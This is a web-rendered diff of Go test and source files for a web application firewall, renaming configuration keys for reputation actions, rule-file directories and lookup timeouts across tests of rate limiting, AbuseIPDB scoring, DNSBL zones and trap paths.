t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -1009,7 +1012,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
|||||||
// Half of 4 requests a minute: the third breaks the limit.
|
// Half of 4 requests a minute: the third breaks the limit.
|
||||||
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
|
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
|
||||||
[]string{forward, forward, requestlog.ActionClientIsRateLimited},
|
[]string{forward, forward, requestlog.ActionClientIsRateLimited},
|
||||||
"50 from " + reputationAction,
|
"50 from " + dnsblAbuseIPDBAction,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
|
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
|
||||||
@@ -1021,7 +1024,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
|||||||
|
|
||||||
s, server, _ := startWithLookups(t, map[string]string{
|
s, server, _ := startWithLookups(t, map[string]string{
|
||||||
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
|
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
|
||||||
reputationAction: tc.action,
|
dnsblAbuseIPDBAction: tc.action,
|
||||||
})
|
})
|
||||||
// At SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
|
// At SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
|
||||||
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
|
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
|
||||||
@@ -1068,7 +1071,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, server, queue := startWithLookups(t, map[string]string{
|
s, server, queue := startWithLookups(t, map[string]string{
|
||||||
abuseIPDBKey: accountKey, reputationAction: actionLog, metricsToken: token,
|
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, metricsToken: token,
|
||||||
})
|
})
|
||||||
loadScores(server, map[string]int64{fromDE: 90})
|
loadScores(server, map[string]int64{fromDE: 90})
|
||||||
|
|
||||||
@@ -1159,10 +1162,10 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server, queue := startWithAlerts(t, map[string]string{
|
s, _, server, queue := startWithAlerts(t, map[string]string{
|
||||||
rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules),
|
rateLimitPerMinute: "1", ruleFilesDir: writeRules(t, testRules),
|
||||||
blocklistURLs: dropURL, blocklistAction: actionLog,
|
blocklistURLs: dropURL, blocklistAction: actionLog,
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog,
|
||||||
})
|
})
|
||||||
// Every source lists client, and none otherClient, whose score is
|
// Every source lists client, and none otherClient, whose score is
|
||||||
// under SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
// under SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ type decision struct {
|
|||||||
lookedUp bool
|
lookedUp bool
|
||||||
lookupAnswer lookup.Answer
|
lookupAnswer lookup.Answer
|
||||||
// skippedLookupWait is true for a request that did not wait for GeoJS and
|
// skippedLookupWait is true for a request that did not wait for GeoJS and
|
||||||
// found no answer kept. SWW_WAF_UNKNOWN_LIMIT_PERCENT does not apply to it,
|
// found no answer kept. SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT does not apply to it,
|
||||||
// so that not waiting never lowers its client's limits.
|
// so that not waiting never lowers its client's limits.
|
||||||
skippedLookupWait bool
|
skippedLookupWait bool
|
||||||
// counted is true for a request the rate limits counted, whose bytes
|
// counted is true for a request the rate limits counted, whose bytes
|
||||||
@@ -367,13 +367,13 @@ func (rq *request) countAnomalies() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// anomalyThresholdsSet reports whether any anomaly threshold is set.
|
// anomalyThresholdsSet reports whether any anomaly threshold is set.
|
||||||
func anomalyThresholdsSet(cfg *config.Config) bool {
|
func anomalyThresholdsSet(cfg *config.WAF) bool {
|
||||||
off := anomaly.Thresholds{}
|
off := anomaly.Thresholds{}
|
||||||
|
|
||||||
return cfg.AnomalyClient != off || cfg.AnomalyNet != off ||
|
return cfg.AnomalyClient != off || cfg.AnomalyNet != off ||
|
||||||
cfg.AnomalyASN != off ||
|
cfg.AnomalyASN != off ||
|
||||||
cfg.AnomalyTotal != off ||
|
cfg.AnomalyTotal != off ||
|
||||||
cfg.AnomalyWatch != off
|
cfg.AnomalyWatchedNet != off
|
||||||
}
|
}
|
||||||
|
|
||||||
// answerAtTheEnd returns, for a client that was looked up, the lookup's
|
// answerAtTheEnd returns, for a client that was looked up, the lookup's
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic rule_files. It reads the rules of the rule files, which
|
// The heuristic rule_files. It reads the rules of the rule files, which
|
||||||
// SWW_WAF_RULES_DIR and SWW_WAF_RULES_ENABLED name.
|
// SWW_WAF_RULE_FILES_DIR and SWW_WAF_RULE_FILES_ENABLED name.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
|||||||
@@ -25,8 +25,8 @@ func TestEachRuleAction(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
s, clk, server := startWithClock(t, "", map[string]string{
|
||||||
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
ruleFilesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
||||||
banResponse: "429",
|
banResponse: "429",
|
||||||
})
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
@@ -112,7 +112,7 @@ func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
|
ruleFilesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
|
||||||
})
|
})
|
||||||
|
|
||||||
wantTags(
|
wantTags(
|
||||||
@@ -129,7 +129,7 @@ func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
ruleFilesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.request(client, "/blocked", http.StatusForbidden,
|
line := s.request(client, "/blocked", http.StatusForbidden,
|
||||||
@@ -155,7 +155,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
attackBanDuration: "1h",
|
attackBanDuration: "1h",
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -193,7 +193,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
|
|||||||
)
|
)
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
s, _, server := startWithClock(t, "", map[string]string{
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
allowNets: allowed,
|
allowNets: allowed,
|
||||||
rateLimitExemptNets: exempt,
|
rateLimitExemptNets: exempt,
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
@@ -234,8 +234,8 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
s, _, server := startWithClock(t, "", map[string]string{
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
mode: observe,
|
mode: observe,
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(
|
||||||
@@ -273,7 +273,7 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
@@ -156,11 +156,11 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
rateLimitExemptNets: listedAddr + "," + fromKP,
|
rateLimitExemptNets: listedAddr + "," + fromKP,
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
})
|
})
|
||||||
|
|
||||||
// listedAddr's requests are neither refused nor counted, so the first
|
// listedAddr's requests are neither refused nor counted, so the first
|
||||||
|
|||||||
@@ -70,7 +70,7 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
|
|||||||
// The zone's tag is in lower case, however SWW_WAF_DNSBL_ZONES writes it.
|
// The zone's tag is in lower case, however SWW_WAF_DNSBL_ZONES writes it.
|
||||||
s, server, _ := startWithLookups(t, map[string]string{
|
s, server, _ := startWithLookups(t, map[string]string{
|
||||||
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
|
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
|
||||||
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
|
dnsblAbuseIPDBAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
|
||||||
})
|
})
|
||||||
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
|
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
|
||||||
|
|
||||||
@@ -86,7 +86,7 @@ func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
rulesDir: writeRules(
|
ruleFilesDir: writeRules(
|
||||||
t,
|
t,
|
||||||
"noted path log ^/\n",
|
"noted path log ^/\n",
|
||||||
), tagDeny: "exploitsignature",
|
), tagDeny: "exploitsignature",
|
||||||
|
|||||||
@@ -25,10 +25,10 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
|||||||
|
|
||||||
// A block rule for the same path: the trap path comes first.
|
// A block rule for the same path: the trap path comes first.
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
s, clk, server := startWithClock(t, "", map[string]string{
|
||||||
trapPaths: trapPathList,
|
trapPaths: trapPathList,
|
||||||
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
|
ruleFilesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
|
||||||
allowNets: allowed,
|
allowNets: allowed,
|
||||||
banResponse: "429",
|
banResponse: "429",
|
||||||
})
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
@@ -153,8 +153,8 @@ func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
trapPaths: trapPathList,
|
trapPaths: trapPathList,
|
||||||
"SWW_WAF_RULES_ENABLED": "false",
|
"SWW_WAF_RULE_FILES_ENABLED": "false",
|
||||||
})
|
})
|
||||||
|
|
||||||
s.request(client, "/xmlrpc.php", http.StatusForbidden,
|
s.request(client, "/xmlrpc.php", http.StatusForbidden,
|
||||||
|
|||||||
Loaded 100 of 104 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user